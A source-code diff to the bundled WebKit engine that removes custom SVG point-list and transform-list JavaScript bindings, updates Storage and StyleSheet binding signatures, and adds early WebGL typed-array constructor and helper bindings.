--- a/src/3rdparty/webkit/WebCore/bindings/js/JSSVGPointListCustom.cpp
+++ /dev/null
@@ -1,153 +0,0 @@
-/*
- * Copyright (C) 2006, 2007, 2008 Nikolas Zimmermann <zimmermann@kde.org>
- * Copyright (C) 2008 Apple Inc. All rights reserved.
- *
- * This library is free software; you can redistribute it and/or
- * modify it under the terms of the GNU Library General Public
- * License as published by the Free Software Foundation; either
- * version 2 of the License, or (at your option) any later version.
- *
- * This library is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * Library General Public License for more details.
- *
- * You should have received a copy of the GNU Library General Public License
- * along with this library; see the file COPYING.LIB.  If not, write to
- * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
- * Boston, MA 02110-1301, USA.
- */
-
-#include "config.h"
-
-#if ENABLE(SVG)
-#include "JSSVGPointList.h"
-
-#include "JSSVGPoint.h"
-#include "SVGPointList.h"
-
-using namespace JSC;
-
-namespace WebCore {
-
-typedef SVGPODListItem<FloatPoint> PODListItem;
-typedef SVGList<RefPtr<PODListItem> > SVGPointListBase;
-
-static JSValue finishGetter(ExecState* exec, ExceptionCode& ec, SVGElement* context, SVGPointList* list, PassRefPtr<PODListItem > item)
-{
-    if (ec) {
-        setDOMException(exec, ec);
-        return jsUndefined();
-    }
-    return toJS(exec, deprecatedGlobalObjectForPrototype(exec), JSSVGPODTypeWrapperCreatorForList<FloatPoint>::create(item.get(), list->associatedAttributeName()).get(), context);
-}
-
-static JSValue finishSetter(ExecState* exec, ExceptionCode& ec, SVGElement* context, SVGPointList* list, PassRefPtr<PODListItem > item)
-{
-    if (ec) {
-        setDOMException(exec, ec);
-        return jsUndefined();
-    }
-    const QualifiedName& attributeName = list->associatedAttributeName();
-    context->svgAttributeChanged(attributeName);
-    return toJS(exec, deprecatedGlobalObjectForPrototype(exec), JSSVGPODTypeWrapperCreatorForList<FloatPoint>::create(item.get(), attributeName).get(), context);
-}
-
-static JSValue finishSetterReadOnlyResult(ExecState* exec, ExceptionCode& ec, SVGElement* context, SVGPointList* list, PassRefPtr<PODListItem> item)
-{
-    if (ec) {
-        setDOMException(exec, ec);
-        return jsUndefined();
-    }
-    context->svgAttributeChanged(list->associatedAttributeName());
-    return toJS(exec, deprecatedGlobalObjectForPrototype(exec), JSSVGStaticPODTypeWrapper<FloatPoint>::create(*item).get(), context);
-}
-
-JSValue JSSVGPointList::clear(ExecState* exec, const ArgList&)
-{
-    ExceptionCode ec = 0;
-    impl()->clear(ec);
-    setDOMException(exec, ec);
-    m_context->svgAttributeChanged(impl()->associatedAttributeName());
-    return jsUndefined();
-}
-
-JSValue JSSVGPointList::initialize(ExecState* exec, const ArgList& args)
-{
-    ExceptionCode ec = 0;
-    SVGPointListBase* listImp = impl();
-    return finishSetter(exec, ec, context(), impl(),
-        listImp->initialize(PODListItem::copy(toSVGPoint(args.at(0))), ec));
-}
-
-JSValue JSSVGPointList::getItem(ExecState* exec, const ArgList& args)
-{
-    bool indexOk;
-    unsigned index = args.at(0).toUInt32(exec, indexOk);
-    if (!indexOk) {
-        setDOMException(exec, TYPE_MISMATCH_ERR);
-        return jsUndefined();
-    }
-
-    ExceptionCode ec = 0;
-    SVGPointListBase* listImp = impl();
-    return finishGetter(exec, ec, context(), impl(),
-        listImp->getItem(index, ec));
-}
-
-JSValue JSSVGPointList::insertItemBefore(ExecState* exec, const ArgList& args)
-{
-    bool indexOk;
-    unsigned index = args.at(1).toUInt32(exec, indexOk);
-    if (!indexOk) {
-        setDOMException(exec, TYPE_MISMATCH_ERR);
-        return jsUndefined();
-    }
-
-    ExceptionCode ec = 0;
-    SVGPointListBase* listImp = impl();
-    return finishSetter(exec, ec, context(), impl(),
-        listImp->insertItemBefore(PODListItem::copy(toSVGPoint(args.at(0))), index, ec));
-}
-
-JSValue JSSVGPointList::replaceItem(ExecState* exec, const ArgList& args)
-{
-    bool indexOk;
-    unsigned index = args.at(1).toInt32(exec, indexOk);
-    if (!indexOk) {
-        setDOMException(exec, TYPE_MISMATCH_ERR);
-        return jsUndefined();
-    }
-
-    ExceptionCode ec = 0;
-    SVGPointListBase* listImp = impl();
-    return finishSetter(exec, ec, context(), impl(),
-        listImp->replaceItem(PODListItem::copy(toSVGPoint(args.at(0))), index, ec));
-}
-
-JSValue JSSVGPointList::removeItem(ExecState* exec, const ArgList& args)
-{
-    bool indexOk;
-    unsigned index = args.at(0).toInt32(exec, indexOk);
-    if (!indexOk) {
-        setDOMException(exec, TYPE_MISMATCH_ERR);
-        return jsUndefined();
-    }
-
-    ExceptionCode ec = 0;
-    SVGPointListBase* listImp = impl();
-    return finishSetterReadOnlyResult(exec, ec, context(), impl(),
-        listImp->removeItem(index, ec));
-}
-
-JSValue JSSVGPointList::appendItem(ExecState* exec, const ArgList& args)
-{
-    ExceptionCode ec = 0;
-    SVGPointListBase* listImp = impl();
-    return finishSetter(exec, ec, context(), impl(),
-        listImp->appendItem(PODListItem::copy(toSVGPoint(args.at(0))), ec));
-}
-
-}
-
-#endif // ENABLE(SVG)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSSVGTransformListCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSSVGTransformListCustom.cpp
deleted file mode 100644
index 1a9110a..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSSVGTransformListCustom.cpp
+++ /dev/null
@@ -1,153 +0,0 @@
-/*
- * Copyright (C) 2007, 2008 Nikolas Zimmermann <zimmermann@kde.org>
- * Copyright (C) 2008 Apple Inc. All rights reserved.
- *
- * This library is free software; you can redistribute it and/or
- * modify it under the terms of the GNU Library General Public
- * License as published by the Free Software Foundation; either
- * version 2 of the License, or (at your option) any later version.
- *
- * This library is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * Library General Public License for more details.
- *
- * You should have received a copy of the GNU Library General Public License
- * along with this library; see the file COPYING.LIB.  If not, write to
- * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
- * Boston, MA 02110-1301, USA.
- */
-
-#include "config.h"
-
-#if ENABLE(SVG)
-#include "JSSVGTransformList.h"
-
-#include "JSSVGTransform.h"
-#include "SVGTransformList.h"
-
-using namespace JSC;
-
-namespace WebCore {
-
-typedef SVGPODListItem<SVGTransform> PODListItem;
-typedef SVGList<RefPtr<PODListItem> > SVGTransformListBase;
-
-static JSValue finishGetter(ExecState* exec, ExceptionCode& ec, SVGElement* context, SVGTransformList* list, PassRefPtr<PODListItem> item)
-{
-    if (ec) {
-        setDOMException(exec, ec);
-        return jsUndefined();
-    }
-    return toJS(exec, deprecatedGlobalObjectForPrototype(exec), JSSVGPODTypeWrapperCreatorForList<SVGTransform>::create(item.get(), list->associatedAttributeName()).get(), context);
-}
-
-static JSValue finishSetter(ExecState* exec, ExceptionCode& ec, SVGElement* context, SVGTransformList* list, PassRefPtr<PODListItem> item)
-{
-    if (ec) {
-        setDOMException(exec, ec);
-        return jsUndefined();
-    }
-    const QualifiedName& attributeName = list->associatedAttributeName();
-    context->svgAttributeChanged(attributeName);
-    return toJS(exec, deprecatedGlobalObjectForPrototype(exec), JSSVGPODTypeWrapperCreatorForList<SVGTransform>::create(item.get(), attributeName).get(), context);
-}
-
-static JSValue finishSetterReadOnlyResult(ExecState* exec, ExceptionCode& ec, SVGElement* context, SVGTransformList* list, PassRefPtr<PODListItem> item)
-{
-    if (ec) {
-        setDOMException(exec, ec);
-        return jsUndefined();
-    }
-    context->svgAttributeChanged(list->associatedAttributeName());
-    return toJS(exec, deprecatedGlobalObjectForPrototype(exec), JSSVGStaticPODTypeWrapper<SVGTransform>::create(*item).get(), context);
-}
-
-JSValue JSSVGTransformList::clear(ExecState* exec, const ArgList&)
-{
-    ExceptionCode ec = 0;
-    impl()->clear(ec);
-    setDOMException(exec, ec);
-    m_context->svgAttributeChanged(impl()->associatedAttributeName());
-    return jsUndefined();
-}
-
-JSValue JSSVGTransformList::initialize(ExecState* exec, const ArgList& args)
-{
-    ExceptionCode ec = 0;
-    SVGTransformListBase* listImp = impl();
-    return finishSetter(exec, ec, context(), impl(),
-        listImp->initialize(PODListItem::copy(toSVGTransform(args.at(0))), ec));
-}
-
-JSValue JSSVGTransformList::getItem(ExecState* exec, const ArgList& args)
-{
-    bool indexOk;
-    unsigned index = args.at(0).toUInt32(exec, indexOk);
-    if (!indexOk) {
-        setDOMException(exec, TYPE_MISMATCH_ERR);
-        return jsUndefined();
-    }
-
-    ExceptionCode ec = 0;
-    SVGTransformListBase* listImp = impl();
-    return finishGetter(exec, ec, context(), impl(),
-        listImp->getItem(index, ec));
-}
-
-JSValue JSSVGTransformList::insertItemBefore(ExecState* exec, const ArgList& args)
-{
-    bool indexOk;
-    unsigned index = args.at(1).toUInt32(exec, indexOk);
-    if (!indexOk) {
-        setDOMException(exec, TYPE_MISMATCH_ERR);
-        return jsUndefined();
-    }
-
-    ExceptionCode ec = 0;
-    SVGTransformListBase* listImp = impl();
-    return finishSetter(exec, ec, context(), impl(),
-        listImp->insertItemBefore(PODListItem::copy(toSVGTransform(args.at(0))), index, ec));
-}
-
-JSValue JSSVGTransformList::replaceItem(ExecState* exec, const ArgList& args)
-{
-    bool indexOk;
-    unsigned index = args.at(1).toUInt32(exec, indexOk);
-    if (!indexOk) {
-        setDOMException(exec, TYPE_MISMATCH_ERR);
-        return jsUndefined();
-    }
-
-    ExceptionCode ec = 0;
-    SVGTransformListBase* listImp = impl();
-    return finishSetter(exec, ec, context(), impl(),
-        listImp->replaceItem(PODListItem::copy(toSVGTransform(args.at(0))), index, ec));
-}
-
-JSValue JSSVGTransformList::removeItem(ExecState* exec, const ArgList& args)
-{
-    bool indexOk;
-    unsigned index = args.at(0).toUInt32(exec, indexOk);
-    if (!indexOk) {
-        setDOMException(exec, TYPE_MISMATCH_ERR);
-        return jsUndefined();
-    }
-
-    ExceptionCode ec = 0;
-    SVGTransformListBase* listImp = impl();
-    return finishSetterReadOnlyResult(exec, ec, context(), impl(),
-        listImp->removeItem(index, ec));
-}
-
-JSValue JSSVGTransformList::appendItem(ExecState* exec, const ArgList& args)
-{
-    ExceptionCode ec = 0;
-    SVGTransformListBase* listImp = impl();
-    return finishSetter(exec, ec, context(), impl(),
-        listImp->appendItem(PODListItem::copy(toSVGTransform(args.at(0))), ec));
-}
-
-}
-
-#endif // ENABLE(SVG)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSStorageCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSStorageCustom.cpp
index e416d35..63a38d6 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSStorageCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSStorageCustom.cpp
@@ -41,9 +41,9 @@ bool JSStorage::canGetItemsForName(ExecState*, Storage* impl, const Identifier&
     return impl->contains(propertyName);
 }
 
-JSValue JSStorage::nameGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
+JSValue JSStorage::nameGetter(ExecState* exec, JSValue slotBase, const Identifier& propertyName)
 {
-    JSStorage* thisObj = static_cast<JSStorage*>(asObject(slot.slotBase()));
+    JSStorage* thisObj = static_cast<JSStorage*>(asObject(slotBase));
     return jsStringOrNull(exec, thisObj->impl()->getItem(propertyName));
 }
 
@@ -64,13 +64,13 @@ bool JSStorage::deleteProperty(ExecState* exec, const Identifier& propertyName)
     return true;
 }
 
-void JSStorage::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
+void JSStorage::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
 {
     unsigned length = m_impl->length();
     for (unsigned i = 0; i < length; ++i)
         propertyNames.add(Identifier(exec, m_impl->key(i)));
         
-    Base::getOwnPropertyNames(exec, propertyNames);
+    Base::getOwnPropertyNames(exec, propertyNames, mode);
 }
 
 bool JSStorage::putDelegate(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot&)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSStyleSheetCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSStyleSheetCustom.cpp
index d711b6f..ecfc6a6 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSStyleSheetCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSStyleSheetCustom.cpp
@@ -40,7 +40,7 @@ JSValue toJS(ExecState* exec, JSDOMGlobalObject* globalObject, StyleSheet* style
     if (!styleSheet)
         return jsNull();
 
-    DOMObject* wrapper = getCachedDOMObjectWrapper(exec->globalData(), styleSheet);
+    DOMObject* wrapper = getCachedDOMObjectWrapper(exec, styleSheet);
     if (wrapper)
         return wrapper;
 
@@ -68,10 +68,8 @@ void JSStyleSheet::markChildren(MarkStack& markStack)
     // is kept around, then we want the node to stay around too. One possibility would
     // be to make ref/deref on the style sheet ref/deref the node instead, but there's
     // a lot of disentangling of the CSS DOM objects that would need to happen first.
-    if (Node* ownerNode = sheet->ownerNode()) {
-        if (JSNode* ownerNodeWrapper = getCachedDOMNodeWrapper(ownerNode->document(), ownerNode))
-            markStack.append(ownerNodeWrapper);
-    }
+    if (Node* ownerNode = sheet->ownerNode())
+        markDOMNodeWrapper(markStack, ownerNode->document(), ownerNode);
 }
 
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSStyleSheetListCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSStyleSheetListCustom.cpp
index 7bf9389..873f211 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSStyleSheetListCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSStyleSheetListCustom.cpp
@@ -52,9 +52,9 @@ bool JSStyleSheetList::canGetItemsForName(ExecState*, StyleSheetList* styleSheet
     return styleSheetList->getNamedItem(propertyName);
 }
 
-JSValue JSStyleSheetList::nameGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
+JSValue JSStyleSheetList::nameGetter(ExecState* exec, JSValue slotBase, const Identifier& propertyName)
 {
-    JSStyleSheetList* thisObj = static_cast<JSStyleSheetList*>(asObject(slot.slotBase()));
+    JSStyleSheetList* thisObj = static_cast<JSStyleSheetList*>(asObject(slotBase));
     HTMLStyleElement* element = thisObj->impl()->getNamedItem(propertyName);
     ASSERT(element);
     return toJS(exec, element->sheet());
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLArrayBufferConstructor.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLArrayBufferConstructor.cpp
new file mode 100644
index 0000000..8671908
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLArrayBufferConstructor.cpp
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+
+#if ENABLE(3D_CANVAS)
+
+#include "JSWebGLArrayBufferConstructor.h"
+
+#include "Document.h"
+#include "JSWebGLArrayBuffer.h"
+
+namespace WebCore {
+
+using namespace JSC;
+
+const ClassInfo JSWebGLArrayBufferConstructor::s_info = { "WebGLArrayBufferConstructor", 0, 0, 0 };
+
+JSWebGLArrayBufferConstructor::JSWebGLArrayBufferConstructor(ExecState* exec, JSDOMGlobalObject* globalObject)
+    : DOMConstructorObject(JSWebGLArrayBufferConstructor::createStructure(globalObject->objectPrototype()), globalObject)
+{
+    putDirect(exec->propertyNames().prototype, JSWebGLArrayBufferPrototype::self(exec, globalObject), None);
+    putDirect(exec->propertyNames().length, jsNumber(exec, 2), ReadOnly|DontDelete|DontEnum);
+}
+
+static JSObject* constructCanvasArrayBuffer(ExecState* exec, JSObject* constructor, const ArgList& args)
+{
+    JSWebGLArrayBufferConstructor* jsConstructor = static_cast<JSWebGLArrayBufferConstructor*>(constructor);
+
+    unsigned int size = 0;
+    if (args.size() == 1) {
+        size = (unsigned int)args.at(0).toInt32(exec);
+        if (isnan(size))
+            size = 0;
+    }
+    RefPtr<WebGLArrayBuffer> buffer = WebGLArrayBuffer::create(size, 1);
+    if (!buffer.get()){
+        setDOMException(exec, INDEX_SIZE_ERR);
+        return 0;
+    }
+    return asObject(toJS(exec, jsConstructor->globalObject(), buffer.get()));
+}
+
+JSC::ConstructType JSWebGLArrayBufferConstructor::getConstructData(JSC::ConstructData& constructData)
+{
+    constructData.native.function = constructCanvasArrayBuffer;
+    return ConstructTypeHost;
+}
+
+} // namespace WebCore
+
+#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLArrayBufferConstructor.h b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLArrayBufferConstructor.h
new file mode 100644
index 0000000..c7a927e
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLArrayBufferConstructor.h
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#ifndef JSWebGLArrayBufferConstructor_h
+#define JSWebGLArrayBufferConstructor_h
+
+#include "JSDOMBinding.h"
+#include "JSDocument.h"
+#include "JSWebGLArrayBuffer.h"
+#include <runtime/Error.h>
+#include "WebGLArrayBuffer.h"
+
+namespace WebCore {
+
+    class WebGLArray;
+
+    // Template function used by CanvasXXXArrayConstructors
+    template<class C, typename T>
+    PassRefPtr<WebGLArray> construct(JSC::ExecState* exec, const JSC::ArgList& args)
+    {
+        // There are 3 constructors:
+        //
+        //  1) (in int size)
+        //  2) (in WebGLArrayBuffer buffer, [Optional] in int offset, [Optional] in unsigned int length)
+        //  3) (in sequence<T>) - This ends up being a JS "array-like" object
+        //
+        RefPtr<C> arrayObject;
+        
+        // For the 0 args case, just create an object without a buffer 
+        if (args.size() < 1)
+            return C::create(0, 0, 0);
+        
+        if (args.size() > 1 && !args.at(0).isObject())
+            // Invalid first argument
+            return 0;
+
+        if (args.at(0).isObject()) {
+            RefPtr<WebGLArrayBuffer> buffer = toWebGLArrayBuffer(args.at(0));
+            if (buffer) {
+                unsigned offset = (args.size() > 1) ? args.at(1).toUInt32(exec) : 0;
+                unsigned int length = (buffer->byteLength() - offset) / sizeof(T);
+                if (args.size() > 2)
+                    length = args.at(2).toUInt32(exec);
+                return C::create(buffer, offset, length);
+            }
+            
+            JSC::JSObject* array = asObject(args.at(0));
+            unsigned length = array->get(exec, JSC::Identifier(exec, "length")).toUInt32(exec);
+            void* tempValues;
+            if (!tryFastCalloc(length, sizeof(T)).getValue(tempValues)) {
+                throwError(exec, JSC::GeneralError);
+                return 0;
+            }
+            
+            OwnFastMallocPtr<T> values(static_cast<T*>(tempValues));
+            for (unsigned i = 0; i < length; ++i) {
+                JSC::JSValue v = array->get(exec, i);
+                if (exec->hadException())
+                    return 0;
+                values.get()[i] = static_cast<T>(v.toNumber(exec));
+            }
+            
+            return C::create(values.get(), length);
+        }
+        
+        unsigned size = args.at(0).toUInt32(exec);
+        return C::create(size);
+    }
+
+    class JSWebGLArrayBufferConstructor : public DOMConstructorObject {
+    public:
+        JSWebGLArrayBufferConstructor(JSC::ExecState*, JSDOMGlobalObject*);
+        static const JSC::ClassInfo s_info;
+
+    private:
+        virtual JSC::ConstructType getConstructData(JSC::ConstructData&);
+        virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
+    };
+
+}
+
+#endif // JSWebGLArrayBufferConstructor_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLArrayCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLArrayCustom.cpp
new file mode 100644
index 0000000..d111d4e
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLArrayCustom.cpp
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+
+#if ENABLE(3D_CANVAS)
+
+#include "config.h"
+#include "JSWebGLArray.h"
+#include "JSWebGLByteArray.h"
+#include "JSWebGLUnsignedByteArray.h"
+#include "JSWebGLShortArray.h"
+#include "JSWebGLUnsignedShortArray.h"
+#include "JSWebGLIntArray.h"
+#include "JSWebGLUnsignedIntArray.h"
+#include "JSWebGLFloatArray.h"
+
+#include "WebGLArray.h"
+
+using namespace JSC;
+
+namespace WebCore {
+
+JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, WebGLArray* object)
+{
+    if (!object)
+        return jsUndefined();
+        
+    if (object) {
+        if (object->isFloatArray())
+            return getDOMObjectWrapper<JSWebGLFloatArray>(exec, globalObject, static_cast<WebGLFloatArray*>(object));
+        if (object->isUnsignedByteArray())
+            return getDOMObjectWrapper<JSWebGLUnsignedByteArray>(exec, globalObject, static_cast<WebGLUnsignedByteArray*>(object));
+        if (object->isByteArray())
+            return getDOMObjectWrapper<JSWebGLByteArray>(exec, globalObject, static_cast<WebGLByteArray*>(object));
+        if (object->isIntArray())
+            return getDOMObjectWrapper<JSWebGLIntArray>(exec, globalObject, static_cast<WebGLIntArray*>(object));
+        if (object->isUnsignedIntArray())
+            return getDOMObjectWrapper<JSWebGLUnsignedIntArray>(exec, globalObject, static_cast<WebGLUnsignedIntArray*>(object));
+        if (object->isShortArray())
+            return getDOMObjectWrapper<JSWebGLShortArray>(exec, globalObject, static_cast<WebGLShortArray*>(object));
+        if (object->isUnsignedShortArray())
+            return getDOMObjectWrapper<JSWebGLUnsignedShortArray>(exec, globalObject, static_cast<WebGLUnsignedShortArray*>(object));
+    }
+    return jsUndefined();
+}
+
+JSValue JSWebGLArray::slice(ExecState* exec, const ArgList& args)
+{
+    WebGLArray* array = reinterpret_cast<WebGLArray*>(impl());
+
+    int start, end;
+    switch (args.size()) {
+    case 0:
+        start = 0;
+        end = array->length();
+        break;
+    case 1:
+        start = args.at(0).toInt32(exec);
+        end = array->length();
+        break;
+    default:
+        start = args.at(0).toInt32(exec);
+        end = args.at(1).toInt32(exec);
+    }
+    return toJS(exec, globalObject(), array->slice(start, end));
+}
+
+} // namespace WebCore
+
+#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLArrayHelper.h b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLArrayHelper.h
new file mode 100644
index 0000000..481c68f
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLArrayHelper.h
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ * Copyright (C) 2009 Google Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#ifndef JSWebGLArrayHelper_h
+#define JSWebGLArrayHelper_h
+
+#include "ExceptionCode.h"
+#include "JSDOMBinding.h"
+#include <interpreter/CallFrame.h>
+#include <runtime/ArgList.h>
+#include <runtime/Error.h>
+#include <runtime/JSObject.h>
+#include <runtime/JSValue.h>
+
+namespace WebCore {
+
+template <class T>
+JSC::JSValue setWebGLArrayFromArray(JSC::ExecState* exec, T* webGLArray, JSC::ArgList const& args)
+{
+    if (args.at(0).isObject()) {
+        // void set(in sequence<long> array, [Optional] in unsigned long offset);
+        JSC::JSObject* array = JSC::asObject(args.at(0));
+        uint32_t offset = 0;
+        if (args.size() == 2)
+            offset = args.at(1).toInt32(exec);
+        uint32_t length = array->get(exec, JSC::Identifier(exec, "length")).toInt32(exec);
+        if (offset > webGLArray->length() ||
+            offset + length > webGLArray->length() ||
+            offset + length < offset)
+            setDOMException(exec, INDEX_SIZE_ERR);
+        else {
+            for (uint32_t i = 0; i < length; i++) {
+                JSC::JSValue v = array->get(exec, i);
+                if (exec->hadException())
+                    return JSC::jsUndefined();
+                webGLArray->set(i + offset, v.toNumber(exec));
+            }
+        }
+
+        return JSC::jsUndefined();
+    }
+
+    return JSC::throwError(exec, JSC::SyntaxError);
+}
+
+}
+
+#endif // JSWebGLArrayHelper_h
